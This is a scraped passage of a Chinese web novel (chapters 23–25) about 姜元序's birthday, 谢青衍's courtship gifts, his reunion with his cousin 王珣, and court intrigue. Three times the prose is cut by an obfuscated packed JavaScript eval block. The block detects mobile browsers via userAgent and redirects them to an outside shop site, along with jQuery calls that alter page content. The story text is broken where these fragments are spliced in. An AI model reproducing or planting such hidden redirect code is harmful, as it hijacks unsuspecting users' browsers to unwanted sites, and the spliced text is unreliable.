l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211519|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测,周明坤的死就不会显得那样光彩了。他是看守不力,但若是因为有心人刺杀而看守不力,反倒能博取同情。 因为是没有证据的事,太子完全可以反过来指责他为逃责找借口,信口诬蔑,但满朝官员不是傻子,谢家也不会让太子随意攀扯他,几方势力大概要掰扯一段时间。 所以姜元序选择提前给太子一个答案,为了新政用好处堵住他的嘴。 周明坤明显和方七他们说过姜元序,加上她今日这毫无顾忌的一手,她的建议太子一定不会置之不理,太子当下所有的决策都会给新政让步,若是退一步能让谢家偃旗息鼓,太子一定不会吝啬一点好处。 他这次虽然查处了贪墨、劫粮和铜矿三个案子,但核心人物周明坤来不及问罪就死了,功劳自然大打折扣,若是太子松手,加上谢家的疏通,他的位置能往上动动。 姜元序又朝韩乘霖建议道:“二哥,你也写个折子,哭一哭,闹一闹,这事你也是受害者,要点钱也好啊。” 韩乘霖差点跳起来,“啥玩意儿啊,就要写折子,你看你二哥我像是会折子的人吗,我能把书信的字认全就不错了。” 这下轮到姜元序困惑了,“武官也是官啊,还能不会写折子吗?平时要军费的时候,不写折子怎么要?” 韩乘霖比她还困惑,“军费不都是朝廷定的吗,哪里需要自己要的。” 姜元序被他一脸理所当然的样子怼得险些提不上气,杵了他一拳,“是不是你太蠢了,你爹没教你!” “我爹也不写!” “不可能!全靠朝廷定,你早饿死了!” 两人谁也不让谁,互相觉得对方蛮不讲理。 钟亦笑呵呵地上前说:“韩将军是写过的,老朽有幸见过,至今记得,整本折子就几个大字——军费不够,明年加五万两。” 姜元序被这直白的操作惊呆了,不可置信地问:“这能要来吗?” 钟亦捋一把胡子,讳莫如深地说:“大都能的,韩将军是个实在人,不到万不得已不会开口,更不会狮子大开口。” 姜元序感慨道:“我还当是他们不会做人,朝中没什么人脉,每年才这么点军费,照这个折子来说,韩叔这人缘是大大的好啊。” 西北军一整个都是抠抠搜搜的,她第一次见的时候,还当是到难民营了,这些年她想方设法给他们省钱换装备,结果人家压根没想到要找朝廷多要点钱。 钟亦笑着点点头,说:“韩将军和我们老太爷是老交情了,还有李首辅,凡是韩将军亲自写的折子,都会批。” 几人差了些年岁,韩将军是最小的,老太爷评价他是赤子之心,难能可贵,李首辅那么个冷情的人,对韩将军也会多些包容。 姜元序只觉气血上涌,险些晕倒,转身狠狠给了韩乘霖一拳,“你爹背靠这样两座大山,这事你知道吗?” 她以为自己资助了个孤立无援的贫困生,没想到人家是守着金矿不知道怎么用,一个人苦哈哈地在西北啃草皮。 韩乘霖瞠目结舌,好像第一次认识自己亲爹,他爹平时不声不响,更没朋友,他一直以为家里在朝中没什么人脉。 一副痴呆样看得姜元序眼疼,她心累道:“折子我给你写。” “谢大人,你那有多余的奏本吗,先借一份。” 想也知道韩乘霖肯定不会带这些,出门在外,折子和品级不符也没事,事后补一份就行。 谢青衍让云慎去取,他自然是带了奏本的,韩乘霖是武官,姜元序给他代笔,没人会挑刺。 “新来的钦差明后两天差不多能到了,周明坤死了,你们的任务也算完成,差不多能收拾收拾东西回去了。”姜元序说。 谢青衍已经习惯姜元序的消息快他一步,他确实要尽快回去,京城还有一场仗要打,家里也要处理好,靠姜元序给他收拾烂摊子的事,一次就够了。 目送姜元序离开,谢青衍转身朝牢房走去,脸上阴云密布,温润的眸子凝着暴风雨,脚步沉沉,满是风雨欲来。 “把方七带过来。” 他的喜欢,怎么能成为别人羞辱她的工具。 23. 好看的人 谢青衍再次从牢房出来的时候,已是第二日午时。 太子手下都上了刑,最严重的当属方七,其余人都是皮外伤,谢青衍十分擅长刑讯,用最简单的伤给人最漫长的折磨,他们从一开始的愤然到现在的麻木,短短一个晚上仿佛经历了一生。 周泰乖觉得很,今日一早主动说是因为亲眼目睹前主人周明坤被逼自尽,方才良心发现,招认了自己私采铜矿的事。 谢青衍换下锈迹斑斑的衣衫,简单用过饭便去书房,姜元序已经遣人把折子送来,谢青衍细细看过,嘴角的弧度越来越明显,颇为骄傲地把折子给云齐。 “看看她这折子写的,情真意切又不失恭敬,生动有趣又感人肺腑,我都想给韩大人送点钱了。” 云齐好奇地接过折子,他同样陪谢青衍熬了一整夜,双眼通红,疲惫至极,感觉下一瞬就要睡过去,但姜姑娘的折子这事本身,就足够赶跑所有瞌睡虫。 首先映入眼帘的便是那一手标准的馆阁体,字里行间的空档都相当一致,行文更是一气呵成,毫无滞涩之处。 云齐看的时候,感觉自己的鼻子上栓了一根细细的线,情绪随着字里行间高低起伏,紧接着又是步步登高,直至登顶的淋漓畅快。 他忍不住道:“西北军明年的军费至少能提高两成,韩大人此次回去大概也要接额外的赏。” 姜姑娘不愧是姜姑娘,让人掏钱都掏的心甘情愿,身心舒畅。 谢青衍也在写折子,他平日里是写惯了的,今日瞧着却发现自己写的当真是死板又无理,到时候折子一同送上去,两相对比,祖父看了估计都想抽他。 但要他仿照姜元序那道,短时间内他是写不出来的,算了算了,他的重点本也不是折子,传给祖父的信才是重点。 以前他觉得自己还年轻,可以慢慢来,如今却不行了,姜元序不日就要去京城,他总得有护住她的能力,升官揽权势在必行。 又花了一下午,谢青衍把此次所有案件汇总,连同周明坤的血衣和两封折子,连夜送去京城。 翌日,他把铜矿案相关的事宜全部交接给新来的钦差,接管铜矿的官员已经到益州,京营军撤回江州,钦差审过周泰后立即赶赴益州清查宋知州。 贪墨和劫粮案相关人员直接判刑,刺客和太子手下押解回京,江州同知暂代知州一职,张和一行钦差开始打点行装。 姜元序生辰前两天,想了想还是遣人给谢青衍送了份请帖,毕竟人还在江州,她的生辰宴动静挺大,瞒也瞒不了,只是钦差的身份到底不好公然赴宴,便附了封书信阐明原委。 谢青衍有些遗憾,他本想陪姜元序过完生辰再启程回京,但钦差的身份确实敏感,此行已经被抓了错处,不好再给人把柄。 家里送来的东西他一一看过,他看姜元序平日里手上、颈上不戴饰品,又格外钟爱珍珠,最后还是挑了那套蓝宝石珍珠的头面,他虽然不能赴宴,但可以托韩乘霖提前把贺礼送去。 钟亦见他拿了头面,还是决定提醒一下,“公子,你们如今这个关系送头面其实不太合适,若是双方都有意,两家默认婚事,可以借着夫人的名义给姜姑娘送头面,但如今……” 如今姜姑娘明显无意,吴老爷也没结亲的意思,送头面就不适宜了,钟亦讪讪地笑笑。 “如今民风开放,未婚男女之间互送些小东西也无妨,但一整套的头面太过正式,吴家不太可能会收下。” 收下差不多就是默许婚事的意思。 这就是为何老太爷要他跑一趟,公子长到这个年岁,连根发簪都没送出去过,哪里懂里面的弯弯绕绕,几个小年轻完全凭自己的心意挑贺礼,根本没考虑到还有规矩这一说。 放在二十年前,男女之间互送东西那叫私相授受,也就这几年百姓的日子越过越好,女子开始在外行事,男女大防变得可有可无,年轻人行事才越发大胆。 谢青衍往常见好友给心仪的女子送的都是发簪玉佩一类的,倒没想到还有这么个前提在,姜元序虽知晓了他的心意,但也没有答应的意思,贸然送这样一份礼,确实不合适。 他只好把头面放下,让钟叔一起来挑个合礼的。 韩乘霖一早带着谢青衍准备的贺礼去了吴家,姜元序在练武场锻炼,闻言还挺好奇,直接打开了盒子。 一套文房四宝,一盒颜色形状各异的玉石。 韩乘霖拿起砚台仔细端详片刻,说:“应当是御赐的,我爹有个差不多的。” 姜元序也看出来了,这图样明显是贡品,一般官员拿不到,只可能是皇帝赏给谢阁老的。 奇道:“这都是新的吧,怎么出个公差还随身带这种东西的?” 那盒玉石就更怪了,明显仔细打磨过,好些都是穿了孔的,系个绳就能当佩饰。 “上哪儿买的一堆半成品?” 姜元序好奇地往下翻了翻,圆的扁的方的都有,没什么纹样,成色倒是好,底下还有一堆穿了孔的玉珠,多是绿色和白色,还有几颗粉色和红色。 她数了数珠子的数量,好笑道:“合着是把手串拆了啊。” 又仔细看了看其他形状的,很像是剪了佩绳和穗子的玉佩。 她问韩乘霖:“这是有什么说法吗?你们京城人现在流行这样送礼?” 韩乘霖到底有些经验,对谢青衍规矩的做法也比较满意。 “男未婚女未嫁的,你俩又没定亲,他哪好给你送首饰,拆成这样别人才不好说什么。” 不过他也是第一次见到这种阵仗,谁家送玉一送送一盒的,而且每一块都价值不菲,倒是大方。 姜元序觉得多此一举,“他都让我去他的宅子住了,这会儿倒是讲起礼数来了。” 匆匆赶来的吴善民正好听到这一句,忍不住敲敲她的脑袋,道:“你也知道不合礼数啊,还非要去住!” 就他姑娘这本事,没有谢家罩着一样能在京城横行,跟谢家那小子搅合在一起,损的是她自己的名声。 姜元序摸摸脑袋,选择远离自家暴躁老爹,这个问题无解,她爹只知道她要去处理生意,想破脑袋也不会想到,她是去谋划抢皇位的。 吴善民拣起玉石一一查看,没发现什么特殊纹样,邃放了心,对姜元序说:“收着吧,记得到京城给人回份贵点的礼。” 如今谢青衍还是钦差,肯定不能马上给回礼,他家比较直接,给的回礼都是金子,金米粒、金瓜子、金豆子、金花生、金条、金饼,给钦差送金子,是万万不可的。 姜元序让人把东西拿进去,想了想,对十安道:“你找人去和他说一声,要是愿意的话,明天就跟着王珣过来,要是和王珣关系不太好,就算了。” 十安愣了刹那,应下去办,到底是不一样了,还会给人想办法,王珣年纪小,身边又没个长辈,谢大人是他表哥,带着他赴宴别人也不好说什么。 吴善民脸色不善,阴阳怪气道:“你对他挺上心啊。” “我对好看的人都挺上心。”姜元序随意地说。 韩乘霖冷哼道:“肤浅!” “你来个不肤浅的。” 韩乘霖颇为自得地说:“我看上你嫂子,是因为她贤惠善良,有勇有谋。” “哦——”姜元序笑眯眯的拖长了调子,韩乘霖有种不祥的预感。 “原来你觉得嫂子不好看啊,那我得好好和她说说。” 韩乘霖:“……” 谢青衍接到姜元序传来的消息,半天回不过神,脑袋里把各种关系想了个遍,也没在犄角旮旯里翻出王珣和姜元序可能的交集。 “云齐,珣儿说他在外面念书,不会是在江州吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211520|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云齐也懵了好一会儿,不敢肯定,“有可能,也可能是姜姑娘和王家有生意往来,珣公子代表王家来递个礼?” 谢青衍觉得不可能,王珣今年才十五,哪里需要他出面送礼,就算有生意往来,派个老管家不比让王珣来更妥帖。 他想不明白,急匆匆去商会,等了半个时辰,姜元序才过来。 他急忙问:“王珣是在江州吗,你认识他?” 姜元序点点头,看这架势不像关系不好,又觉得有些奇怪,“他都来两年了,你不知道?” 谢青衍支着额头仔细回忆王珣写给他的书信,一会儿说不学经史典籍太开心了,一会儿说要去打铁,一会儿说饭吃的太多胖了,全是云里雾里的,一个字没提江州。 他叹一口气,哀怨地说:“珣儿每次写信都没头没尾的,问了好几次也没说清到底在哪,书院是在哪个地方,我去看看他。” “所以你们关系还挺好?”姜元序问。 谢青衍说:“他在京城时一直住的我的院子,在国子学受欺负了,也是我去给他出头,你说我们关系好不好?” 他比王珣大五岁,同吃同住又一起上学,完全把他当孩子带的,后来他离开国子学入朝,王珣咬牙学了半年,坚持不下去让外祖父接走了,他们两年多没见了。 他忍不住道:“我不知道也就算了,怎么王珣也没来找我,他身边应该有王家的人吧,我来了这么久就没个人提醒他?” 姜元序解释道:“他住书院里,平时不让出入,王家的侍从也住在书院周围,不往这边来,不知道很正常。” “他还要上课,但今日会提前散学,书院不让外人进,我一会儿找个人带你过去,王家在那边有座宅子,你可以在那等他。” 弄清了王珣的事,谢青衍其实还想问她和王家的关系,不过想来她也不会说。 从安王和韩乘霖那儿得出的经验,姜元序不喜欢跟人解释自己的事情,就算说也是藏一半露一半的,不如直接去问王珣。 他转而说起其他事:“我想着回京后用周家私兵劫粮的事做做文章,会影响你吗?” 姜元序略一思索便明白了他的目的,赞扬道:“倒是个好主意,这事出了江州就和我无关了,谢大人想做什么尽管去做。” 出了江州,就是谢家和周家的斗争,借题发挥谁会在乎题的始作俑者,只在乎谁发挥得更好。 谢青衍也是这样想的,他只怕姜元序还有别的安排,才特意问一声。 “我后日便启程了,你何时上京?” 姜元序早做好了计划,如实说:“我还得去巡视几处生意,到京城约莫是十月上旬。” 那就还有两个多月,稍晚一些也好,谢青衍想,两个月后京城的风波应该平息了。 “宅子我会差人打扫干净,你看是我先给你安排些打理杂事的人,还是等你上京再安排?” 这确实是个问题,姜元序想了一会儿,说:“这样,我写封信,你到时候差人送去我京城的宅子里,那边会有人帮我安排的。” 她在京城的宅子已经打理好,门房管家下人一应俱全,如今要换住处,她得提前给千程传个信,让她和谢府的人交接。 谢青衍自是应下,又和她说了些回京后的安排,姜元序也适时提些建议,周家被压得越狠,之后施行新政就越心急,左右都是有好处的事。 两人聊得差不多了,谢青衍笑着说:“我明日带着王珣过来。” 原以为不能陪她过生辰了,没成想还有这样的转折。 姜元序想到什么,忍不住好奇问:“那套文房四宝是御赐的吧,你平时就用这些?怎么还随身带来了?” 谢青衍脸一红,错开视线,想了想,直接说了句大白话:“祖父知道我有了喜欢的姑娘,给我备的礼。” 24. 是个漏勺 姜元序错愕不过片刻,随即兴味盎然地打量谢青衍,眼睛朝着她,眼神却游弋在外,紧张得手都攥紧了还装得理直气壮,耳朵都红透了。 她忍了又忍,还是忍不住轻笑出声:“给喜欢的姑娘送笔墨纸砚,那你们祖孙俩真是一脉相承的不解风情。” 谢青衍以为她不喜欢,急忙解释:“原本准备了头面,但钟叔说不合规矩,怕你不收,才换成笔墨,这回带的东西少,一时半会儿也没合适的。” 成套的首饰不能送,其他的也就这套笔墨最贵重,从姜元序写的折子看,才学渊博,应在他之上,送笔墨倒也合适,只是太过规矩,反而显得敷衍。 他到底有些旖旎的心思,挑挑拣拣半天,拾掇出一盒子玉,想着姜元序可以用来缀鞋面。 姜元序揶揄道:“还好没送头面,不然这会儿我爹已经打上门了。” 不过她爹还是失策了,人家送的笔墨也是藏了心思的。 谢青衍掩唇尴尬地笑笑:“我以后会注意,尽量不给伯父添麻烦。” 姜元序故意叹一口气,语重心长道:“就你这不到一个月的时间,把事情弄得人尽皆知的漏勺样,以后给他添的麻烦,怕是还多着。” “真是意外——” 谢青衍不想接受如此严重的指控,只好把云齐从家里拿头面的事情全盘脱出,甚至为何会让周明坤发现都提了提。 “我觉着我藏得挺好的。”他总结道。 姜元序也不反驳,就这么似笑非笑地看着他,好像在嘲笑他没有自知之明。 谢青衍熬不住撇开头,嘟囔道:“是你身边的人太敏锐。” 云齐云慎跟他一起长大,看出来很正常,但十安许安宁他们话都没说过几句,也能看出来,就是他们的问题了。 “是是是,我们都敏锐,就你迟钝。”姜元序敷衍道。 “今天见王珣,可别又漏了。” 想也知道肯定要问王珣她和王家的关系,话一多哪里还藏得住,王珣是小,又不是傻。 这些年为了铁矿,马甲套了一层又一层,要是哪天王老大人发现她的真实身份,彻底摆烂不找矿也不给铁引,她就让谢青衍跪在他门前哭。 十安安排人送谢青衍去王家的宅子,然后给姜元序汇报最新接到的消息。 “李义康李大人一家进京了,李大人补了太仆寺的一个缺。” “一家子都去了?” “是。” 姜元序蹙眉,“李景云”的身份明显有问题,不然李义康不会在她消失后让“李景星”顶替“李景云”,而问题的源头来自李首辅的长子李牧为。 李义康这些年的仕途全靠李牧为运作,这个时候把人调到京城,补了个不痛不痒的缺,意欲何为? 或者说,他想利用“李景云”做些什么? “盯紧一点,有异常及时报上来。” “是。” 十安应声退下,姑娘虽没有说过她的身世,但也没瞒着,李景云有个双胞胎姐姐李景星,据查是因为庄子失火,救援不及时去世了。 姑娘记得一切,却不愿意回去,还设计让李景云摔断腿,后续更是要大夫接错骨头,让李景云成了跛子,想必那场火和李景云脱不了关系。 她到姑娘身边时,姑娘的伤还敷着药,火烧的伤是最难熬的,一不留神伤口会化脓,结痂的时候又痛又痒,痂退了伤疤还在,水温高了天气热了,疤都会疼。 她一路陪着姑娘走过来,既心疼又敬佩,对这一切的始作俑者恨之入骨,要不是姑娘让一直盯着李家,她或许已经自作主张把人处理了。 希望李景云在京城能自己撞上来,她也好有借口弄死她。 万物书院,门口停着不少马车,云慎侯在车旁,和王珣的侍从闲聊。 放课的钟声一响,学生们乌泱泱往外走,王珣的侍从往上蹿了蹿,挥舞着双臂大喊:“公子,这儿!” 王珣远远看见自家马车旁边站了个熟悉的人,定睛仔细一瞧,忽地把书箱扔给侍从,拔腿狂奔。 “云慎!真的是你!是我表哥来了吗!” “表哥表哥!在哪儿呢!” 王珣四处望望不见人,谢青衍撩开马车帘子,刚准备开口就被扑了个满怀。 “哥!” 王珣小狗似的使劲用头蹭,谢青衍猝不及防被他撞进车厢,要不是云齐及时扶了下,他腰该折了。 他把人推开,上上下下仔细瞧了两年未见的表弟,面露怪异。 “珣儿,你怎么长这么……大了?” 他一开始想说高,但又觉得不准确,因为王珣不仅是高,身板都快比他壮了,两年前分明是一副病恹恹的样,又瘦又小。 王珣高兴地拍拍自己的胸膛,骄傲地说:“我现在可厉害了,一百斤的石头轻轻松松搬起来,我们班力气最大的就是我!” 他当然记得自己两年前的德行,从谢府门口走到表哥院子,他得歇三趟,吃饭都要人背着去的。 他抓着谢青衍的手,大吐苦水,上实验课要自己搬矿石,每天早晨跑步打拳一天都不能歇,刚来书院整整一个月的军训,泥地里滚一天,回去还要自己洗衣服。 “教官说我身体没问题,以前就是懒的。” 王珣挠挠脸,心虚地笑。 谢青衍摸摸他坚实的臂膀,犹不敢信,大家都以为他是娘胎里带出来的弱症,没想到是随了外祖父。 “表哥,你怎么有空来看我,朝中不用忙吗?”王珣好奇地问。 “我到江州办差的。”谢青衍说,“你说你,写了那么多信,愣是没说自己在哪儿,这回要不是姜姑娘和我说你在这里,后日我就要回京城了。” “是姜姐姐和你说的吗?表哥,你也认识姜姐姐啊!” 王珣倒不记得有没有说过自己在江州,每次给表哥的信都是他写很久的,有想和表哥说的就写下来,等送信的时候归拢到一起送去。 谢青衍简单地说:“认识,你去收拾东西跟我回衙门住,明天我带你去姜姑娘的生辰宴。” 他带着王珣在其他钦差面前晃了一圈,明确表示自己受外祖父所托,明天要和王珣一起赴宴。 其他人哪里会听不懂他的言外之意,皆善意地笑说谢大人尽管去,这会儿案子都结了,闲散之余照看一下表弟乃是情理之中,无人会置喙。 张和面部抽搐,合着姜元序背后是王家,怪不得对上周家都不带怕的,王家那位老大人一手出神入化的寻矿本事,陛下都要礼让三分。 谁能想到一个贪墨案会牵扯出那么多势力,张和想到牢里那一群人,愁啊—— 时隔两年多,王珣挤上谢青衍的床,像以前一样絮絮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211521|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叨叨地和他说学院的生活。 以前他在国子学时,总是抱怨课业难,夫子凶,同窗难相处,一天都不想再上学,如今却都是对自己的满意和未来的憧憬。 谢青衍欣喜于王珣的变化,问:“珣儿,你怎么想到来江州念书的?” “就是那个‘卑微的求铁人’,写信跟祖父提到的。”王珣嘿嘿笑,“正好我从国子学退学,祖父就让人带我过来看看。” “他不骂外祖父了?”谢青衍惊讶地问。 “骂呀,怎么可能不骂,十句骂人的,夹一句正事。” 王珣神秘兮兮地低语道:“我觉得‘卑微的求铁人’就是我们学院的师兄或者老师,我已经初步筛选出几个嫌疑人,只待求证。” 谢青衍和他对视一眼,两人是同出一辙的讳莫如深。 这个人对王家来说太特殊了,曾一个月连写八封信辱骂王老大人不思进取,祸国殃民,把懒到不愿出卧房的王老大人亲自带人全城搜捕,却一无所获。 送信的方式都被他玩出花了,王家的下人出门要特意在衣服外面裹两层布,防止无意中被塞辱骂信。 两人斗了好几个月,王老大人时时严阵以待,回过神发现呆在家比出去找矿都累,咬着牙带人新开了一处铁矿,辱骂信果然停了。 王老大人从未受过这种窝囊气,每天一睁眼就是骂,但凡是家里出现过辱骂信的地方,每天挨个骂一遍,没把人骂出来,自己倒是越骂越精神。 王家其他人对那人是感激的,王老大人实在太懒,那段时间一直赖在床上不肯起来,吃了睡,睡了吃,什么事都不管,精神头越来越差,家里急也没办法,没人敢忤逆他。 也不知道两人之后发生了什么,谢青衍知道的时候,王老大人已经开始和那人互相通信,互相辱骂,一人变相让人去寻矿,一人旁敲侧击打听对方身份。 那人口才实在了得,王老大人甚少有占上风的,谢青衍和谢阁老还帮忙出谋划策回过信,被人一针见血指出找人代笔,小人做派。 王老大人交了这么个笔友,懒病好了大半,算是皆大欢喜。 其实那人也不是一上来就骂人,他第一次写信,写的是一篇歌颂王老大人的赋,辞藻华丽,斐然成章,把王老大人美的,至今裱在宴客厅供人观赏。 第二次写信,写的是一篇‘论铁的重要性’的策论,鞭辟入里,掷地有声,由王老大人传给谢阁老,谢阁老公之于众,引起不小的轰动。 目的虽隐晦,但都能看出来,是想要王老大人多寻矿多开矿,可王老大人无动于衷,于是第三次开始了辱骂信,一直持续至今。 王老大人命令王珣,势必要抓出那人的真身,两年过去了,王珣仍止步于怀疑。 他跟谢青衍一通分析,谢青衍也说不出的所以然来,那人聪明又谨慎,一点身份痕迹没露,查起来如同大海捞针。 两人只好作罢。 谢青衍不动声色地把话题转到姜元序身上,朝王珣打听她和王家的关系。 聊了没几句,王珣忽地笑了一声,簌簌爬起来,鬼头鬼脑地凑近谢青衍,目不转睛地盯着他的脸,语气戏谑。 “表哥,你是不是喜欢姜姐姐啊?” 谢青衍怔了一下,然后抬手遮住眼睛,决定接受自己是个漏勺。 “真的这么明显吗?” 25. 情窦未开 一大早,吴家下人进进出出开始布置宴席,姜元序难得地穿了身广袖锦袍,十安取出平时不用的首饰,一一给她戴上。 梳洗完毕,姜元序跟着吴善民到祠堂祭拜母亲和姐姐,点一盏长命灯,然后吴善民去厨房煮了一碗长寿面,连同一个盒子一起给她。 姜元序迫不及待地打开盒子,里面是个玉佩的样式,外头一个金圈,里面一个绳结,上系佩绳,下缀流苏。 底下是母亲写的祝词:盼儿遇良人,岁岁长相安。 吴善民给她解释道:“这是你母亲自己做的同心结,她知道你做不来这个,提前给你准备好了。她当时想着的是你十八岁该成亲了,可以给未来的夫婿。” 礼物是他和妻子一起商议定下的,那时女子十七八岁成亲是常事,他们也没想到不过十年光景,江州女子成亲的年纪越来越晚,十几岁成亲反倒成了稀罕事。 他想到什么,意味深长地说:“送心仪的公子也成。” 姜元序把同心结收回盒子,脸上挂上大大的笑容,高兴地说:“那我一会儿给财神爷送去。” 吴善民一噎,没好气地把筷子递给她:“快吃!一会儿客人该上门了。” 姜元序美滋滋地吃面,母亲准备的同心结就一个,心仪的公子说不定哪天就换人了,但她对财神爷的真心,生生世世,永不会变。 吴家大门敞开,车马往来不绝,贺客携礼而至,仆从脚步繁忙,将人引至厅堂入座。 谢青衍和王珣在门口和姜元序打过招呼后,随仆从绕过宾朋满座的宴客大厅,进入里间的私人小厅,韩乘霖和韩乘风早到了,许安宁和她母亲也在。 几人互相见礼,王珣四处瞧瞧这里的摆设,好奇地问许安宁:“姜姐姐是单独给我们设了一桌吗?” “午宴多是外头来的生意伙伴,人多嘴杂的。”许安宁指指他旁边的三人,“他们身上有公差,多一事不如少一事。” 王珣点头,和谢青衍解释:“晚上是私宴,都是姜姐姐的朋友,晚宴过后我们去船上的画舫玩,书院新研究出一种烟花,专门给姜姐姐庆生用的,可好看了。” 许安宁拉着王珣打听新烟花是个什么花样,王珣支支吾吾不肯交代,说:“学院的规矩,新东西未经正式发布,不得向外透露。” 王珣没见过韩乘霖,和韩乘风却是认识的,两人同在国子学垫底,俨然一对难兄难弟。 他离开两年,好不容易见到曾经的同窗,缠着韩乘风问东问西,许安宁也时不时插几句,小厅里一时间喧闹得很。 许安宁的母亲有着和许安宁如出一辙的圆脸,和许安宁的咋呼不同,她说起来话来慢悠悠的,温和地引着韩乘霖和谢青衍闲聊。 宴席过半,外间的客人招呼的差不多,吴善民和姜元序到里间和他们一起用膳,等宴席快结束再出去。 姜元序埋头吃饭,许安宁给她夹些爱吃的菜,问:“今年姜姨给你送了什么?” “同心结。”姜元序头也不抬道。 “这是盼你成亲了呀。”许安宁呵呵直笑,揶揄道,“姜姨怕是没想到,十八岁的你依旧是个木头疙瘩。” 除了许母,其余几人都有些疑惑,吴善民简单和他们解释。 “亡妻临终前给两个孩子备了接下来几十年的礼物,今年的是自己编的同心结,盼着孩子能觅得良人。” 吴家粮仓失火时,姜彩兰也受了伤,加上失去女儿的痛苦,身体一直很虚弱,尽管后来吴家光景好了,成为首屈一指的大粮商,延请无数名医医治,依旧无法痊愈。 那时姜元序已经到吴家三年多,姜彩兰感觉大限将至,于是在最后的日子里,给两个孩子准备好了一直到百岁的生辰礼,让吴善民每年送一件。 第一次知道此事的几人皆动容。 许母拍怕许安宁,笑说:“你俩谁也别说谁,一棵树上长出的木头疙瘩,情窍都没开呢。” 许安宁不服气,“谁说的?我帕子都送出去好几块了。” 姜元序忍俊不禁,嗤嗤笑了好一会儿,被不明所以的许安宁拧了一下,才道:“你但凡愿意出去买几块好看点的帕子,也不至于一个下文都没有。” “好好的帕子,非要自己往上戳几个补丁,人家以为你在寒碜他呢。” “哈哈哈……”许母大声笑开,“安宁绣的那东西,可不就是补丁!” 许安宁臊得脸红,气鼓鼓地争辩:“我好歹能绣几针,你一个针线都没拿过的人,也好意思嘲笑我?” “至少我不糟蹋东西。” 姜元序的反击简洁且有力。 许安宁自知说不过她,负气撇开头。 许母捏捏她圆鼓鼓的脸,善言劝道:“安宁啊,以后要是再想送帕子,先跟娘说,娘给你绣几条好看的。” 许安宁睁圆了眼睛瞪她,这算什么安慰?还不是在说她绣的帕子丑。 姜元序幸灾乐祸地笑,吴善民忍不住拿筷子敲敲她的脑袋,“还笑呢,安宁好歹会送帕子了,你呢!” 然后转头问其他人:“你们猜,她想把同心结送谁?” 众人面面相觑,神色各异,王珣紧张,谢青衍慌乱,韩乘风一无所知,韩乘霖一脸看好戏,许母相当好奇,许安宁心知肚明。 吴善民缓缓吐出三个字:“财神爷。” 众人呼吸一窒,不约而同将视线转向姜元序,姜元序仿佛什么都没听到似的,默默往嘴里扒一口饭。 许安宁嫌弃道:“上次月老庙求来的红线也上供了,这回又是同心结,下回是不是要直接给财神爷下聘了?” “你一条红线栓十个人,哪里懂我对财神爷的专一。” 姜元序毫不客气地回怼,又和呆愣着的其他人说:“看看我赚的钱,很明显,财神爷他就吃这一套。” 这话没法反驳。 谢青衍庆幸自己来得早,姜元序情窦未开总比情系他人好。 韩乘风殷切地和韩乘霖说:“二哥,很有道理啊,我们可以和关二爷栓根红线,一定能百战百胜!” 韩乘霖嘴角抽了抽。 听到这话的姜元序立即大声道:“小五,你直接把红线系你爹身上,一样的。” 韩乘风想到自家战功赫赫的老爹,以及和关二爷同出一辙的红脸,顿时蠢蠢欲动。 韩乘霖恨铁不成钢地朝他脑袋拍了一掌,警告道:“你要是还想要你这双手,趁早打消这个念头。” 又朝姜元序说:“积点德吧,感情挨打的不是你,随便乱教。” 他爹挥鞭子的力气,可比教儿子的耐心多得多。 姜元序看热闹不嫌事大,继续撺掇韩乘风:“你爹是刀子嘴豆腐心,不用怕,想到什么就去做,挨打了就给姐姐写信,姐姐给你撑腰。” 韩乘霖哼道:“你能让他不挨打?” 姜元序理直气壮:“我能给他找最好的大夫。” 韩乘风摸摸脑袋,察觉到了两人对话中的危险,悻悻地放弃给他爹栓红线的想法,还是给关二爷栓吧,关二爷不会打他。 “哈哈哈哈哈……” 众人纷纷笑开,小厅里其乐融融。 王珣道:“姜姐姐,京城护国寺很灵的,也供了财神,你可以去看看。” 护国寺的大名姜元序自然是听过的,感兴趣地问:“听说国师就在护国寺是吗,平时能见到吗?” 王珣在桌下拍了一下谢青衍,谢青衍立刻会意。 “国师行踪不定,也不接名帖,偶尔会在大佛会时开坛讲经,国师擅医,经常云游四海给百姓诊治,所以在护国寺能不能碰到他,得看运气。” “既是擅医,为何会受封国师?”姜元序疑惑。 谢青衍答道:“国师不仅是擅医,占星、卜测、佛法自然、经史典籍、奇门遁甲均有涉猎,据说还擅武,司天监碰上无法解释的星象,会寻国师参谋,先帝和陛下都很信任他。” 姜元序啧啧称奇:“全方位人才啊。”看来不是神棍,是有真本事的。 王珣心中叹气,对自家表哥非常失望,又不是先生考学,回答得这么一本正经有什么用? 他抖擞精神,扬起笑容给表哥示范如何正确追姑娘。 “见不到国师也无妨,护国寺景色极美,四时之景,各有不同。上山路上有小集,多是各种小吃食,偶尔尝尝也是相当不错的。” “从另一边下山便是皇家猎场和珍兽园,到时候让表哥带你去,他极擅骑射,你有想猎的想吃的,尽管和他说。” 谢青衍不动声色地踢他一脚,让他收敛点。 王珣不理会,继续道:“姜姐姐喜欢骑马吗 